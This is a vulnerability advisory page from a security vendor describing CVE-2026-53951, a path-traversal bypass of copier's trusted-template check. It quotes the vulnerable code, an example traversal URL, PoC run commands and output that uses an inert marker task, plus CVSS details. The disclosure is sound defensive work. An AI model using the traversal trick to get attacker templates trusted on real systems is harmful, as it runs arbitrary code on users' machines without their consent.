Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-53951 — copier

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-22 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Copier has a trust-prefix bypass via path traversal that runs tasks unprompted

# Copier: trust-prefix bypass via path traversal runs tasks unprompted

Summary

In copier >= 9.5.0, <= 9.15.1, the trust setting's prefix match

(copier/_settings.py) compares the template URL against a trusted prefix with

a raw str.startswith and no path normalization, while the URL *is*

normalized when the template is actually fetched (Path.resolve() for local

paths; libcurl dot-segment removal for https). A template reference that

textually starts with a trusted prefix but contains ..

(e.g. https://github.com/trusted-org/../attacker-org/repo.git) is therefore

granted trust yet resolves to a different, attacker-controlled template, whose

tasks / migrations / jinja_extensions then run **without the --trust

prompt — arbitrary command execution. Likely CWE-22 (Improper Limitation of

a Pathname) in the trust check leading to CWE-94 (code execution)**.

Details

trust lets users mark template locations as trusted so copier skips the

unsafe-feature gate. A trailing / makes an entry a prefix match

(docs/settings.md: *"Locations ending with / will be matched as prefixes,

trusting all templates from that location"*).

copier/_settings.py:141-146 (tag v9.15.1):

```python

return any(

repository.startswith(_normalize(t))

if t.endswith("/")

else repository == _normalize(t)

for t in trust

)

```

_normalize only expands ~; it does not touch .. or collapse segments —

copier/_settings.py:149-152 (tag v9.15.1):

```python

def _normalize(url: str) -> str:

if url.startswith("~"): # Only expand on str to avoid messing with URLs

url = expanduser(url) # noqa: PTH111

return url

```

This decision gates code execution — copier/_main.py:293 (tag v9.15.1):

```python

if self.unsafe or is_trusted_repository(self.settings.trust, self.template.url):

return # skip the unsafe-feature check entirely

```

The chain: the trust comparison sees the raw URL, so

"https://github.com/safeorg/../evilorg/t.git".startswith("https://github.com/safeorg/")

is True; but the value copier hands to git/pathlib is normalized, so

the template actually loaded is evilorg/t (a different, attacker-owned org).

Trust is granted to a location the user never trusted, and _check_unsafe

returns early, so the malicious template's tasks execute with no prompt.

This is most acute on copier update, which reads _src_path from the

project's .copier-answers.yml (copier/_subproject.py) — i.e. an attacker who

hands you a project controls the URL that the trust check is applied to.

In-repo asymmetry that confirms the omission: copier consistently resolves

paths *everywhere else* it makes a security decision — Path.resolve() plus

is_relative_to(...) guards in _render_template, template_copy_root, and

_external_data — but not in the trust comparison.

PoC

Self-contained standalone script; runs against a clean, pinned PyPI install via

the real copier CLI only. Static by default (copier copy --pretend

reaches the trust decision but does not execute tasks); --prove-exec is an

opt-in supplementary run that fires an inert marker (echo + touch). The full

poc.py accompanies this report.

Build and run:

```bash

python -m venv venv && . venv/bin/activate

pip install "copier==9.15.1"

python poc.py # static proof (default)

python poc.py --prove-exec # also fire the inert marker

```

Observed output (copier 9.15.1):

```

== version proof ==

copier == 9.15.1

module : .../site-packages/copier/__init__.py

== inputs ==

trusted prefix (settings.yml): /tmp/copier_trust_poc_XXXX/trusted_templates/

control src (canonical) : /tmp/copier_trust_poc_XXXX/attacker/evil_template

exploit src (traversal) : /tmp/copier_trust_poc_XXXX/trusted_templates/../attacker/evil_template

both resolve to the SAME dir : True

exploit startswith trusted/ : True

minimal delta : exploit = '/tmp/copier_trust_poc_XXXX/trusted_templates/..' + '/attacker/evil_template'

== static proof (copier copy --pretend; payload NOT executed) ==

control (canonical, untrusted): exit=4 -> BLOCKED (UnsafeTemplateError)

exploit (trusted-prefix /..) : exit=0 -> TRUSTED, task reached

marker on disk after --pretend: False (expected False: --pretend does not run tasks)

--- copier's own output for the exploit (note the task it WOULD run) ---

| Copying from template version None

| create hello.txt

| > Running task 1 of 1: echo COPIER-TRUST-BYPASS-RCE-MARKER && touch COPIER_RCE_PROOF

== VERDICT ==

BYPASS CONFIRMED: identical template is refused by canonical path

(exit 4) yet granted trust via '<trusted>/..' traversal (exit 0),

so its tasks run with no --trust prompt.

== --prove-exec: running the exploit for real (inert marker) ==

| COPIER-TRUST-BYPASS-RCE-MARKER

How this vulnerability can be exploited

This issue can be reached with local access to the system, attack complexity is low, an attacker needs no privileges on the target. A user must be tricked into taking some action. Rated impact: confidentiality high, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

  • Attack vector: Local — a local account, shell or session on the host is needed.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Attack requirements: Present — the target has to be in a particular state for the attack to work.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: Passive — a victim action is involved, but not a deliberate one.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-53951 is classified as CWE-22: Path Traversal. A file path built from user input is not confined to the intended directory, letting an attacker reach files elsewhere on the filesystem.

Affected software

CVE-2026-53951 is recorded against 2 packages.

  • copier (from 9.5.0 up to 9.15.2)
  • unknown

Timeline and source

Published on 19 August 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
github.com (Web)

Other advisories for this package

copier has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-22: Path Traversal) in other software:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CWE CWE-22
Public Exploit ✅ No
Source NVD
Published 2026-08-19
Updated 2026-08-20
Modified 2026-08-19
Fix URL N/A

Affected Packages

Software From version Fixed in
copier 9.5.0 9.15.2
unknown — —

Similar Threats

Site Security Check

Is copier part of your stack?

CVE-2026-53951 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026
✓